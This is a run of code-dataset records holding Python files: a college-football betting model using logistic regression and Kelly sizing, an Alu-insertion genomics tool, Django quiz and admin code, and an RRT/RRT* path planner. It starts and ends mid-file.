pd.DataFrame(a, columns = xCols)\nX_train[xCols] = scaler.fit_transform(X_train[xCols])\nbSpread = pd.read_csv('./new_csv_Data/bigboyBinClassificationOctTestTest.csv', encoding = \"ISO-8859-1\")\ny_test = bSpread[\"binSpread\"]\nX_test = pd.DataFrame(bSpread, columns = xCols)\nX_test[xCols] = scaler.transform(X_test[xCols])\n\nmodel = LogisticRegression(max_iter = 100000, C = 0.25)\nmodel.fit(X = X_train, y = y_train)\nfor p in model.predict_proba(X_test):\n if (model.classes_[1] == 1):\n predictions.append(p[1])\n else:\n predictions.append(p[0])\nbSpread[\"PFITS\"] = predictions\npredictions = []\nfor index, row in bSpread.iterrows():\n if (float(row[\"PFITS\"]) < 0.5):\n x.append(1 - float(row[\"PFITS\"]))\n y.append(1 - int(row[\"binSpread\"]))\n else:\n x.append(float(row[\"PFITS\"]))\n y.append(int(row[\"binSpread\"]))\n# model = LogisticRegression(max_iter = 100000, penalty = 'none')\n# x1 = np.array(x)\n# y1 = np.array(y)\n# model.fit(X = x1.reshape(-1,1), y = y1)\n# for p in model.predict_proba(x1.reshape(-1,1)):\n# if (model.classes_[1] == 1):\n# predictions.append(p[1])\n# if (p[1] > 0.5122):\n# z.append(p[1])\n# else:\n# predictions.append(p[0])\nbSpread[\"PFITS\"] = x\nbSpread[\"binSpread\"] = y\nprint (\"SPREAD ------------------------------------------------------------------------\")\ntestClassification(bSpread, 300, 'Kelly', Year = False, Week = False, odds = -105, betType = \"Spread\", printOption = True)\nprint (\"-------------------------------------------------------------------------------\")\n\n\n\n\npredictions = []\nallSums = []\nx = []\ny = []\nz = []\nallScores = []\na = pd.read_csv('./new_csv_Data/bigboyBinClassificationTotalsALTTrain.csv', encoding = \"ISO-8859-1\")\ny_train = a[\"binTotal\"]\nxCols = []\nfor col in a.columns:\n if (\"aboveAvg\" in col):\n xCols.append(col)\nscaler = StandardScaler()\nX_train = pd.DataFrame(a, columns = xCols)\nX_train[xCols] = scaler.fit_transform(X_train[xCols])\nbTotal = pd.read_csv('./new_csv_Data/bigboyBinClassificationTotalsALTTest.csv', encoding = \"ISO-8859-1\")\ny_test = bTotal[\"binTotal\"]\nX_test = pd.DataFrame(bTotal, columns = xCols)\nX_test[xCols] = scaler.transform(X_test[xCols])\n\nmodel = LogisticRegression(max_iter = 100000, C = 0.25)\nmodel.fit(X = X_train, y = y_train)\nfor p in model.predict_proba(X_test):\n if (model.classes_[1] == 1):\n predictions.append(p[1])\n else:\n predictions.append(p[0])\nbTotal[\"PFITS\"] = predictions\npredictions = []\nfor index, row in bTotal.iterrows():\n if (float(row[\"PFITS\"]) < 0.5):\n x.append(1 - float(row[\"PFITS\"]))\n y.append(1 - int(row[\"binTotal\"]))\n else:\n x.append(float(row[\"PFITS\"]))\n y.append(int(row[\"binTotal\"]))\n# model = LogisticRegression(max_iter = 100000, penalty = 'none')\n# x1 = np.array(x)\n# y1 = np.array(y)\n# model.fit(X = x1.reshape(-1,1), y = y1)\n# for p in model.predict_proba(x1.reshape(-1,1)):\n# if (model.classes_[1] == 1):\n# predictions.append(p[1])\n# if (p[1] > 0.5122):\n# z.append(p[1])\n# else:\n# predictions.append(p[0])\nbTotal[\"PFITS\"] = x\nbTotal[\"binTotal\"] = y\nprint (\"TOTALS --------------------------------------------------------------------------\")\ntestClassification(bTotal, 300, 'Kelly', Year = False, Week = False, odds = -105, betType = \"O/U\", printOption = True)\n\ndict = {\"Year\":[], \"Week\":[], \"Home\":[], \"Away\":[], \"PFITSSpread\":[], \"PFITSTotal\":[], \"binSpread\":[], \"binTotal\":[]}\nfor index, row in bTotal.iterrows():\n print (index)\n for index2, row2, in bSpread.iterrows():\n if (row[\"Year\"] == row2[\"Year\"] and row[\"Week\"] == row2[\"Week\"] and row[\"HTeam\"] == row2[\"HTeam\"] and row[\"RTeam\"] == row2[\"RTeam\"]):\n dict[\"Year\"].append(row[\"Year\"])\n dict[\"Week\"].append(row[\"Week\"])\n dict[\"Home\"].append(row[\"HTeam\"])\n dict[\"Away\"].append(row[\"RTeam\"])\n dict[\"PFITSSpread\"].append(row2[\"PFITS\"])\n dict[\"PFITSTotal\"].append(row[\"PFITS\"])\n dict[\"binSpread\"].append(row2[\"binSpread\"])\n dict[\"binTotal\"].append(row[\"binTotal\"])\n break\n#\ndfFinal = pd.DataFrame.from_dict(dict)\ndfFinal.to_csv(\"./new_csv_Data/betsForOptimization.csv\")\n","repo_name":"jackmitt/CFBBettingModel","sub_path":"v1.0/UltimateTest.py","file_name":"UltimateTest.py","file_ext":"py","file_size_in_byte":4940,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"18526052340","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\nimport logging\nfrom Bio import SeqIO\nfrom Bio.Seq import Seq\nimport pysam\nimport gc\n\nfrom aiie._version import __version__\nfrom aiie.parser import *\nfrom aiie.extend import *\nfrom aiie.mask import *\n\n\n\nFORMAT = '%(levelname)s %(asctime)-15s %(name)-20s %(message)s'\nlogging.basicConfig(level=logging.INFO, format=FORMAT)\nlogger = logging.getLogger(__name__)\n\ndef aiie(args):\n logger.info(\"Running aiie %s\" % __version__)\n logger.info(\"Command-line %s\" % (\" \".join(sys.argv)))\n logger.info(\"Arguments are \" + str(args))\n\n # k-mer\n alu_k = args.alu_k\n ref_k = args.ref_k\n km = alu_k + ref_k\n extend_len = args.extend_len\n allow_mis = args.allow_mis\n\n #reference alu coordinates\n logger.info(\"alu coordinates\")\n alu_coords = bed2dict(args.alu_coord_file)\n\n #reference simple repeat coordinates\n logger.info(\"simple repeat coordinates\")\n sr_coords = bed2dict(args.simple_repeat_coord_file)\n \n #all repeat k-mer index\n logger.info(\"all repeat k-mer index\")\n all_repeat_dict = kmer_index(args.all_repeat_file, ref_k)\n\n #build k-mer index for alu\n logger.info(\"build k-mer index for alu\")\n alu_dict = {}\n revcomp_alu_dict = {}\n long_alu_dict = {}\n alu_len = 0\n\n with open(args.alu_seq_file) as fin:\n for rec in SeqIO.parse(fin, \"fasta\"):\n myseq = str(rec.seq).upper()\n myseq_rev_comp = str(Seq(myseq).reverse_complement())\n alu_len = len(myseq)\n alu_seq = myseq\n alu_seq_revcomp = myseq_rev_comp\n for i in range(len(myseq)-alu_k):\n try:\n alu_dict[myseq[i:i+alu_k]].append((\"plus\",i))\n except KeyError:\n alu_dict[myseq[i:i+alu_k]] = [(\"plus\",i)]\n revcomp_kmer = str(Seq(myseq[i:i+alu_k]).reverse_complement())\n try:\n revcomp_alu_dict[revcomp_kmer].append((\"neg\",i))\n except KeyError:\n revcomp_alu_dict[revcomp_kmer] = [(\"neg\",i)]\n for i in range(len(myseq)-km):\n long_alu_dict[myseq[i:i+km]] = 1\n long_alu_dict[myseq_rev_comp[i:i+km]] = 1\n \n \n #build k-mer index for ref\n logger.info(\"build k-mer index for ref\")\n ref_dict = {}\n ref_seq_dict = {}\n long_ref_dict = {}\n whole_ref_dict = SeqIO.to_dict(SeqIO.parse(args.ref_file, \"fasta\"))\n with open(args.target_file) as fin:\n for line in fin:\n tmp = line.strip().split()\n start = int(tmp[1])\n end = int(tmp[2])\n myseq = str(whole_ref_dict[tmp[0]][start:end].seq).upper()\n seq_id = tmp[0]+\":\"+tmp[1]\n ref_seq_dict[seq_id] = myseq\n alu_splitted_region = mask_alu_region(tmp[0], start, end, alu_coords, ref_k)\n sr_splitted_region = mask_SR_region(tmp[0], start, end, sr_coords)\n if alu_splitted_region == 0 or sr_splitted_region == 0:\n continue\n else:\n splitted_region = intersect_regions(alu_splitted_region, sr_splitted_region)\n for coords in splitted_region:\n if coords[1] - coords[0] >= ref_k:\n for i in range(coords[0],coords[1]-ref_k):\n if (myseq[i:i+ref_k] not in alu_dict) and (myseq[i:i+ref_k] not in revcomp_alu_dict):\n ##test\n ##print(myseq[i:i+ref_k])\n if filter_SR(myseq[i:i+ref_k]) and filter_all_repeat(myseq, i, ref_k, all_repeat_dict):\n try:\n ref_dict[myseq[i:i+ref_k]].append((seq_id,i))\n except KeyError:\n ref_dict[myseq[i:i+ref_k]] = [(seq_id,i)]\n for i in range(len(myseq)-km):\n long_ref_dict[myseq[i:i+km]] = 1\n del whole_ref_dict\n gc.collect()\n #extend k-mer\n logger.info(\"extend k-mer\")\n # #tmp out\n # fout = open(args.out_file, \"w\")\n extend_results = []\n for bam_file in args.input_bam_list:\n samfile = pysam.AlignmentFile(bam_file, \"rb\")\n logger.info(\"begin \"+bam_file)\n for read in samfile.fetch():\n if read.get_cigar_stats()[0][0]/read.query_length < 0.98 and read.get_cigar_stats()[0][10] <= 5:\n myseq = read.query_sequence.upper()\n omit_region = filter_consecutiveAT(myseq)\n\n for i in range(len(myseq)-km):\n if i+km >= omit_region[0] and i+km < omit_region[1]:\n continue\n elif i >= omit_region[0] and i < omit_region[1]:\n continue\n\n if (myseq[i:i+km] not in long_alu_dict) and (myseq[i:i+km] not in long_ref_dict):\n if (myseq[i:i+ref_k] in ref_dict) and (myseq[i+ref_k:i+km] in alu_dict):\n ref_match_list = ref_dict[myseq[i:i+ref_k]]\n alu_match_list = alu_dict[myseq[i+ref_k:i+km]]\n for alu_match in alu_match_list:\n for ref_match in ref_match_list:\n left = left_extend(ref_seq_dict[ref_match[0]], myseq, ref_match[1], i, extend_len, allow_mis)\n right = right_extend(alu_seq, myseq, alu_match[1], i, alu_k, km, extend_len, allow_mis)\n if left and right:\n if checkmate(read, ref_match, ref_k):\n # out_list = [ref_match[0], str(ref_match[1]+ref_k), alu_match[0], str(alu_match[1]), myseq[i:i+km], read.query_name, str(int(left)), str(int(right)), str(int(left and right)), \"1\"]\n # out_list = [ref_match[0], str(ref_match[1]+ref_k), alu_match[0], str(alu_match[1]), myseq[i:i+km], read.query_name, read.next_reference_name, str(read.next_reference_start)]\n # fout.write(\"\\t\".join(out_list)+\"\\n\")\n out_list = [ref_match[0], ref_match[1]+ref_k, alu_match[0], alu_match[1], read.query_name]\n extend_results.append(out_list)\n elif (myseq[i:i+alu_k] in revcomp_alu_dict) and (myseq[i+alu_k:i+km] in ref_dict):\n rev_alu_match_list = revcomp_alu_dict[myseq[i:i+alu_k]]\n ref_match_list = ref_dict[myseq[i+alu_k:i+km]]\n for alu_match in rev_alu_match_list:\n for ref_match in ref_match_list:\n left = rev_comp_left_extend(alu_seq_revcomp, myseq, alu_len-alu_match[1], i, alu_k, extend_len, allow_mis)\n right = right_extend(ref_seq_dict[ref_match[0]], myseq, ref_match[1], i, ref_k, km, extend_len, allow_mis)\n if left and right:\n if checkmate(read, ref_match, 0):\n # out_list = [ref_match[0], str(ref_match[1]), alu_match[0], str(alu_match[1]), myseq[i:i+km], read.query_name, str(int(left)), str(int(right)), str(int(left and right)), \"2\"]\n # out_list = [ref_match[0], str(ref_match[1]), alu_match[0], str(alu_match[1]), myseq[i:i+km], read.query_name, read.next_reference_name, str(read.next_reference_start)]\n # fout.write(\"\\t\".join(out_list)+\"\\n\")\n out_list = [ref_match[0], ref_match[1], alu_match[0], alu_match[1], read.query_name]\n extend_results.append(out_list)\n\n samfile.close()\n \n #cutoff by supported reads number\n logger.info(\"process the result\")\n summary_dict = {}\n for record in extend_results:\n if record[0] in summary_dict:\n flag = 0\n for pos in summary_dict[record[0]]:\n if abs(int(record[1])-pos[0]) == abs(int(record[3])-pos[1]):\n if record[4] not in summary_dict[record[0]][pos]:\n summary_dict[record[0]][pos].append(record[4])\n flag = 1\n break\n if flag == 0:\n summary_dict[record[0]][(int(record[1]), int(record[3]))] = [record[4]]\n else:\n summary_dict[record[0]] = {}\n summary_dict[record[0]][(int(record[1]), int(record[3]))] = [record[4]]\n\n cutoff = args.min_support_read\n\n fout = open(args.out_file, \"w\")\n for k in summary_dict:\n for p in summary_dict[k]:\n if len(summary_dict[k][p]) >= cutoff:\n tmp = k.split(\":\")\n fout.write(tmp[0]+\"\\t\"+str(int(tmp[1])+p[0])+\"\\t\"+str(p[1])+\"\\t\"+str(len(summary_dict[k][p]))+\"\\n\")\n\n fout.close()\n\n logger.info(\"FINISH!\")","repo_name":"verne91/aiie","sub_path":"aiie/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6682864728","text":"#-*- coding: utf-8 -*-\nfrom django.shortcuts import render, HttpResponse, render_to_response\nfrom django.http import JsonResponse\nfrom django.views.generic import TemplateView\nfrom django.core.mail import send_mail\n\nfrom .forms import FormCandidate\nimport random, json\nfrom django.core import serializers\n\nfrom .models import Planet, Candidates, Djeday, SpisokVoprosov, Voprosi, Otveti\n\n# Create your views here.\n\n\ndef index(request):\n return render_to_response('index.html', {})\n\n\ndef ajax(request):\n param = 0\n if request.is_ajax and request.method == 'POST':\n if 'par' in request.POST:\n param = request.POST['par']\n # All planets\n if param == '1':\n planet = Planet.objects.all()\n rez = {}\n for k in planet:\n rez[k.id] = k.name\n return JsonResponse(rez)\n # All djedays\n if param == '2':\n djedays = Djeday.objects.all()\n rez = {}\n for k in djedays:\n rez[k.id] = k.name + ' ('+k.planet.name+')'\n return JsonResponse(rez)\n # Random voprosi\n if param == '3':\n voprosi = SpisokVoprosov.objects.all()\n real = [v.id for v in voprosi]\n # Определение случайного списка вопросов\n n = random.randint(0, len(real)-1)\n sp = SpisokVoprosov.objects.get(id=real[n])\n # Возвращаем список вопросов по коду ордена\n spisok = Voprosi.objects.filter(code=sp)\n rez = {}\n for k in spisok:\n rez[k.id] = k.naim\n return JsonResponse(rez)\n # Список кандидатов, сдавших тест\n if param == '4':\n try:\n cand = Candidates.objects.all()\n # Определяем кандидатов, у которых тест пройден.\n real = [v for v in cand if v.spisok(request.POST['djeday'])]\n posts_serialized = serializers.serialize('json', real)\n #print(posts_serialized)\n except Candidates.DoesNotExist:\n posts_serialized = None\n return JsonResponse(posts_serialized, safe=False)\n if param == '5':\n try:\n r_cand = Candidates.objects.get(id=request.POST['cand'])\n r_cand.master = Djeday.objects.get(id=request.POST['djed'])\n # Проверка на количество падаванов у мастера\n if r_cand.master.kol_padavan()<=2:\n # if Candidates.objects.filter(master=Djeday.objects.get(id=request.POST['djed'])).count()<=2:\n r_cand.save()\n send_mail('Congratulation candidate.', r_cand.name+', You are padavan now.', 'from@example.com',\n [r_cand.email], fail_silently=False)\n\n rez = {\"rez\": 1}\n else:\n rez = {\"rez\": 2}\n except Exception:\n rez = {\"rez\": 0}\n return JsonResponse(rez)\n else:\n rez = {\"rez\": 0}\n return JsonResponse(rez)\n else:\n return HttpResponse(\"noneG\")\n\n# Создание кандидата, проверка формы\ndef new_candidate(request):\n if request.is_ajax and request.method == 'POST':\n f = FormCandidate(request.POST)\n if f.is_valid():\n cand = Candidates()\n cand.name = f.cleaned_data['name']\n cand.age = f.cleaned_data['age']\n cand.email = f.cleaned_data['email']\n cand.planet = Planet.objects.get(id=f.cleaned_data['planet'])\n cand.save()\n rez = {\"rez\": cand.id}\n else:\n rez = {\"rez\": 0}\n return JsonResponse(rez)\n\n# Внести ответ\ndef ins_otvet(request):\n if request.is_ajax and request.method == 'POST':\n kk = json.loads(request.POST.getlist('result')[0])\n for k in kk:\n otvet = Otveti()\n otvet.vopros = Voprosi.objects.get(id=k['id'])\n otvet.candidate = Candidates.objects.get(id=k['user'])\n otvet.otvet = k['value']\n otvet.save()\n rez = {\"rez\": 1}\n else:\n rez = {\"rez\": 0}\n return JsonResponse(rez)\n\n\n# Отчет1\nclass DisplayReport(TemplateView):\n template_name = \"report.html\"\n\n def get_context_data(self, **kwargs):\n context = super(DisplayReport, self).get_context_data(**kwargs)\n context['report'] = Otveti.objects.filter(candidate__id=self.kwargs.get('u_id', None))\n context['cand'] = Candidates.objects.get(id=self.kwargs.get('u_id', None))\n return context\n\n\n# Дополнительный Отчет\nclass DisplayAllDjed(TemplateView):\n template_name = \"report_djed.html\"\n\n def get_context_data(self, **kwargs):\n context = super(DisplayAllDjed, self).get_context_data(**kwargs)\n d = Djeday.objects.all()\n context['kol'] = [[v, v.kol_padavan()] for v in d]\n return context\n","repo_name":"netlabreal/Djeday_academy","sub_path":"djedayApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39860337495","text":"# from os import O_NONBLOCK\nfrom django.contrib import admin\nfrom .models import AboutImage, Team, Contact, Review, Image\nfrom django.utils.html import format_html\n\n# Register your models here.\n\nclass TeamAdmin(admin.ModelAdmin):\n def thumbnail(self, object):\n return format_html(''.format(object.photo.url))\n\n thumbnail.short_description = 'photo'\n list_display = ('id', 'thumbnail', 'first_name', 'designation', 'created_date')\n list_display_links = ('id','first_name',)\n search_fields = ('first_name', 'designation')\n list_filter= ('designation',)\n\nclass ContactAdmin(admin.ModelAdmin):\n list_display = ('id', 'name', 'email','subject', 'message' , 'created_date')\n list_display_links = ('id','name')\n search_fields = ('name',)\n\nclass ReviewAdmin(admin.ModelAdmin):\n def thumbnail(self, object):\n return format_html(''.format(object.photo.url))\n thumbnail.short_description = 'photo'\n list_display = ('id', 'thumbnail', 'bride_name', 'groom_name', 'city', 'description', 'created_date', 'is_featured' )\n list_display_links = ('id','bride_name', 'groom_name')\n search_fields = ('city', 'bride_name', 'groom_name', 'city')\n list_editable = ('is_featured',)\n\nclass ImageAdmin(admin.ModelAdmin):\n def thumbnail(self, object):\n return format_html(''.format(object.photo.url))\n thumbnail.short_description = 'photo'\n list_display = ('id', 'thumbnail', 'title', 'created_date', 'is_featured')\n list_display_links = ('id','title')\n search_fields = ('title',)\n list_editable = ('is_featured',)\n\nclass AboutImageAdmin (admin.ModelAdmin):\n def thumbnail(self, object):\n return format_html(''.format(object.photo_1.url))\n thumbnail.short_description = 'photo_1'\n list_display = ('id', 'thumbnail')\n list_display_links = ('id', 'thumbnail')\n\nadmin.site.register(Team, TeamAdmin)\nadmin.site.register(Contact, ContactAdmin)\nadmin.site.register(Review, ReviewAdmin)\nadmin.site.register(Image, ImageAdmin)\nadmin.site.register(AboutImage, AboutImageAdmin)\n\n\n","repo_name":"Ashwini5571/WedZone","sub_path":"pages/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11072917920","text":"import math\nimport random\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nclass RRT:\n \"\"\"\n Class for RRT planning\n \"\"\"\n\n class Node:\n \"\"\"\n RRT Node\n \"\"\"\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.path_x = []\n self.path_y = []\n self.parent = None\n\n def __init__(self,\n start,\n goal,\n obstacle_list,\n rand_area,\n expand_dis=3.0,\n path_resolution=0.5,\n goal_sample_rate=5,\n max_iter=500):\n \"\"\"\n Setting Parameter\n start:Start Position [x,y]\n goal:Goal Position [x,y]\n obstacleList:obstacle Positions [[x,y,size],...]\n randArea:Random Sampling Area [min,max]\n expand_dis:Maximum distance to steer from nearest node to random node to generate new node\n path_resolultion:Discretize edge for collision check during steering\n goal_sample_rate:Probability percentage to sample goal as random node\n \"\"\"\n self.start = self.Node(start[0], start[1])\n self.end = self.Node(goal[0], goal[1])\n self.min_rand = rand_area[0]\n self.max_rand = rand_area[1]\n self.expand_dis = expand_dis\n self.path_resolution = path_resolution\n self.goal_sample_rate = goal_sample_rate\n self.max_iter = max_iter\n self.obstacle_list = obstacle_list\n self.node_list = []\n\n def planning(self, animation=True):\n \"\"\"\n rrt path planning\n animation: flag for animation on or off\n \"\"\"\n\n self.node_list = [self.start]\n for i in range(self.max_iter):\n rnd_node = self.get_random_node()\n nearest_ind = self.get_nearest_node_index(self.node_list, rnd_node)\n nearest_node = self.node_list[nearest_ind]\n\n new_node = self.steer(nearest_node, rnd_node, self.expand_dis)\n\n if self.check_collision(new_node, self.obstacle_list):\n self.node_list.append(new_node)\n\n if animation and i % 5 == 0:\n self.draw_graph(rnd_node)\n\n if self.calc_dist_to_goal(self.node_list[-1].x,\n self.node_list[-1].y) <= self.expand_dis:\n final_node = self.steer(self.node_list[-1], self.end,\n self.expand_dis)\n if self.check_collision(final_node, self.obstacle_list):\n return self.generate_final_course(len(self.node_list) - 1)\n\n if animation and i % 5:\n self.draw_graph(rnd_node)\n\n return None # cannot find path\n\n def steer(self, from_node, to_node, extend_length=float(\"inf\")):\n\n new_node = self.Node(from_node.x, from_node.y)\n d, theta = self.calc_distance_and_angle(new_node, to_node)\n\n new_node.path_x = [new_node.x]\n new_node.path_y = [new_node.y]\n\n if extend_length > d:\n extend_length = d\n\n n_expand = math.floor(extend_length / self.path_resolution)\n\n for _ in range(n_expand):\n new_node.x += self.path_resolution * math.cos(theta)\n new_node.y += self.path_resolution * math.sin(theta)\n new_node.path_x.append(new_node.x)\n new_node.path_y.append(new_node.y)\n\n d, _ = self.calc_distance_and_angle(new_node, to_node)\n if d <= self.path_resolution:\n new_node.path_x.append(to_node.x)\n new_node.path_y.append(to_node.y)\n new_node.x = to_node.x\n new_node.y = to_node.y\n\n new_node.parent = from_node\n\n return new_node\n\n def generate_final_course(self, goal_ind):\n path = [[self.end.x, self.end.y]]\n node = self.node_list[goal_ind]\n while node.parent is not None:\n path.append([node.x, node.y])\n node = node.parent\n path.append([node.x, node.y])\n\n return path\n\n def calc_dist_to_goal(self, x, y):\n dx = x - self.end.x\n dy = y - self.end.y\n return math.hypot(dx, dy)\n\n def get_random_node(self):\n if random.randint(0, 100) > self.goal_sample_rate:\n rnd = self.Node(\n random.uniform(self.min_rand, self.max_rand),\n random.uniform(self.min_rand, self.max_rand))\n else: # goal point sampling\n rnd = self.Node(self.end.x, self.end.y)\n return rnd\n\n def draw_graph(self, rnd=None):\n plt.clf()\n # for stopping simulation with the esc key.\n plt.gcf().canvas.mpl_connect(\n 'key_release_event',\n lambda event: [exit(0) if event.key == 'escape' else None])\n if rnd is not None:\n plt.plot(rnd.x, rnd.y, \"^k\")\n for node in self.node_list:\n if node.parent:\n plt.plot(node.path_x, node.path_y, \"-g\")\n\n for (ox, oy, size) in self.obstacle_list:\n self.plot_circle(ox, oy, size)\n\n plt.plot(self.start.x, self.start.y, \"xr\")\n plt.plot(self.end.x, self.end.y, \"xr\")\n plt.axis(\"equal\")\n plt.axis([-1.5, 1.5, -2, 2])\n plt.grid(True)\n plt.pause(0.001)\n\n @staticmethod\n def plot_circle(x, y, size, color=\"-b\"): # pragma: no cover\n deg = list(range(0, 360, 5))\n deg.append(0)\n xl = [x + size * math.cos(np.deg2rad(d)) for d in deg]\n yl = [y + size * math.sin(np.deg2rad(d)) for d in deg]\n plt.plot(xl, yl, color)\n\n @staticmethod\n def get_nearest_node_index(node_list, rnd_node):\n dlist = [(node.x - rnd_node.x)**2 + (node.y - rnd_node.y)**2\n for node in node_list]\n minind = dlist.index(min(dlist))\n\n return minind\n\n @staticmethod\n def check_collision(node, obstacleList):\n\n if node is None:\n return False\n\n for (ox, oy, size) in obstacleList:\n dx_list = [ox - x for x in node.path_x]\n dy_list = [oy - y for y in node.path_y]\n d_list = [dx * dx + dy * dy for (dx, dy) in zip(dx_list, dy_list)]\n\n if min(d_list) <= size**2:\n return False # collision\n\n return True # safe\n\n @staticmethod\n def calc_distance_and_angle(from_node, to_node):\n dx = to_node.x - from_node.x\n dy = to_node.y - from_node.y\n d = math.hypot(dx, dy)\n theta = math.atan2(dy, dx)\n return d, theta\n\nclass RRTStar(RRT):\n \"\"\"\n Class for RRT Star planning\n \"\"\"\n\n class Node(RRT.Node):\n def __init__(self, x, y):\n super().__init__(x, y)\n self.cost = 0.0\n\n def __init__(self,\n start,\n goal,\n obstacle_list,\n rand_area,\n expand_dis=30.0,\n path_resolution=1.0,\n goal_sample_rate=20,\n max_iter=300,\n connect_circle_dist=50.0,\n search_until_max_iter=False,\n cost_fn=None):\n \"\"\"\n Setting Parameter\n start:Start Position [x,y]\n goal:Goal Position [x,y]\n obstacleList:obstacle Positions [[x,y,size],...]\n randArea:Random Sampling Area [min,max]\n cost_fn:Cost function for arriving at state s\n \"\"\"\n super().__init__(start, goal, obstacle_list, rand_area, expand_dis,\n path_resolution, goal_sample_rate, max_iter)\n self.connect_circle_dist = connect_circle_dist\n self.goal_node = self.Node(goal[0], goal[1])\n self.search_until_max_iter = search_until_max_iter\n self.cost_fn = cost_fn\n\n def planning(self, animation=True):\n \"\"\"\n rrt star path planning\n animation: flag for animation on or off .\n \"\"\"\n\n self.node_list = [self.start]\n for i in range(self.max_iter):\n rnd = self.get_random_node()\n nearest_ind = self.get_nearest_node_index(self.node_list, rnd)\n new_node = self.steer(self.node_list[nearest_ind], rnd,\n self.expand_dis)\n near_node = self.node_list[nearest_ind]\n new_node.cost = near_node.cost + self.calc_stage_cost(near_node, new_node)\n# math.hypot(new_node.x-near_node.x,\n# new_node.y-near_node.y)\n if self.check_collision(new_node, self.obstacle_list):\n near_inds = self.find_near_nodes(new_node)\n node_with_updated_parent = self.choose_parent(\n new_node, near_inds)\n if node_with_updated_parent:\n self.rewire(node_with_updated_parent, near_inds)\n self.node_list.append(node_with_updated_parent)\n else:\n self.node_list.append(new_node)\n\n if animation:\n self.draw_graph(rnd)\n\n if ((not self.search_until_max_iter) and new_node): # if reaches goal\n last_index = self.search_best_goal_node()\n if last_index is not None:\n return self.generate_final_course(last_index)\n\n print(\"reached max iteration\")\n\n last_index = self.search_best_goal_node()\n if last_index is not None:\n return self.generate_final_course(last_index)\n\n return None\n\n def choose_parent(self, new_node, near_inds):\n \"\"\"\n Computes the cheapest point to new_node contained in the list\n near_inds and set such a node as the parent of new_node.\n Arguments:\n --------\n new_node, Node\n randomly generated node with a path from its neared point\n There are not coalitions between this node and th tree.\n near_inds: list\n Indices of indices of the nodes what are near to new_node\n Returns.\n ------\n Node, a copy of new_node\n \"\"\"\n if not near_inds:\n return None\n\n # search nearest cost in near_inds\n costs = []\n for i in near_inds:\n near_node = self.node_list[i]\n t_node = self.steer(near_node, new_node)\n if t_node and self.check_collision(t_node, self.obstacle_list):\n costs.append(self.calc_new_cost(near_node, new_node))\n else:\n costs.append(float(\"inf\")) # the cost of collision node\n min_cost = min(costs)\n\n if min_cost == float(\"inf\"):\n print(\"There is no good path.(min_cost is inf)\")\n return None\n\n min_ind = near_inds[costs.index(min_cost)]\n new_node = self.steer(self.node_list[min_ind], new_node)\n new_node.cost = min_cost\n\n return new_node\n\n def search_best_goal_node(self):\n dist_to_goal_list = [\n self.calc_dist_to_goal(n.x, n.y) for n in self.node_list\n ]\n goal_inds = [\n dist_to_goal_list.index(i) for i in dist_to_goal_list\n if i <= self.expand_dis\n ]\n\n safe_goal_inds = []\n for goal_ind in goal_inds:\n t_node = self.steer(self.node_list[goal_ind], self.goal_node)\n if self.check_collision(t_node, self.obstacle_list):\n safe_goal_inds.append(goal_ind)\n\n if not safe_goal_inds:\n return None\n\n min_cost = min([self.node_list[i].cost for i in safe_goal_inds])\n for i in safe_goal_inds:\n if self.node_list[i].cost == min_cost:\n return i\n\n return None\n\n def find_near_nodes(self, new_node):\n \"\"\"\n 1) defines a ball centered on new_node\n 2) Returns all nodes of the three that are inside this ball\n Arguments:\n ---------\n new_node: Node\n new randomly generated node, without collisions between\n its nearest node\n Returns:\n -------\n list\n List with the indices of the nodes inside the ball of\n radius r\n \"\"\"\n nnode = len(self.node_list) + 1\n r = self.connect_circle_dist * math.sqrt((math.log(nnode) / nnode))\n # if expand_dist exists, search vertices in a range no more than\n # expand_dist\n# if hasattr(self, 'expand_dis'):\n# r = min(r, self.expand_dis)\n dist_list = [(node.x - new_node.x)**2 + (node.y - new_node.y)**2\n for node in self.node_list]\n near_inds = [dist_list.index(i) for i in dist_list if i <= r**2]\n return near_inds\n\n def rewire(self, new_node, near_inds):\n \"\"\"\n For each node in near_inds, this will check if it is cheaper to\n arrive to them from new_node.\n In such a case, this will re-assign the parent of the nodes in\n near_inds to new_node.\n Parameters:\n ----------\n new_node, Node\n Node randomly added which can be joined to the tree\n near_inds, list of uints\n A list of indices of the self.new_node which contains\n nodes within a circle of a given radius.\n Remark: parent is designated in choose_parent.\n \"\"\"\n for i in near_inds:\n near_node = self.node_list[i]\n edge_node = self.steer(new_node, near_node)\n if not edge_node:\n continue\n edge_node.cost = self.calc_new_cost(new_node, near_node)\n\n no_collision = self.check_collision(edge_node, self.obstacle_list)\n improved_cost = near_node.cost > edge_node.cost\n\n if no_collision and improved_cost:\n near_node.x = edge_node.x\n near_node.y = edge_node.y\n near_node.cost = edge_node.cost\n near_node.path_x = edge_node.path_x\n near_node.path_y = edge_node.path_y\n near_node.parent = edge_node.parent\n self.propagate_cost_to_leaves(new_node)\n\n def calc_new_cost(self, from_node, to_node):\n# d, _ = self.calc_distance_and_angle(from_node, to_node)\n d = self.calc_stage_cost(from_node, to_node)\n return from_node.cost + d\n\n def calc_stage_cost(self, from_node, to_node):\n d, _ = self.calc_distance_and_angle(from_node, to_node)\n if self.cost_fn is not None:\n d = (self.cost_fn([from_node.x, from_node.y]) \n + self.cost_fn([to_node.x, to_node.y])) / 2.0 * d\n return d\n\n def propagate_cost_to_leaves(self, parent_node):\n\n for node in self.node_list:\n if node.parent == parent_node:\n node.cost = self.calc_new_cost(parent_node, node)\n self.propagate_cost_to_leaves(node)\n\n","repo_name":"tianyudwang/irl_rrt","sub_path":"scripts/rrt_star.py","file_name":"rrt_star.py","file_ext":"py","file_size_in_byte":14880,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"10125876516","text":"#!/usr/bin/env python\n# coding: utf-8\n#\nimport nltk\n\n\nfile = 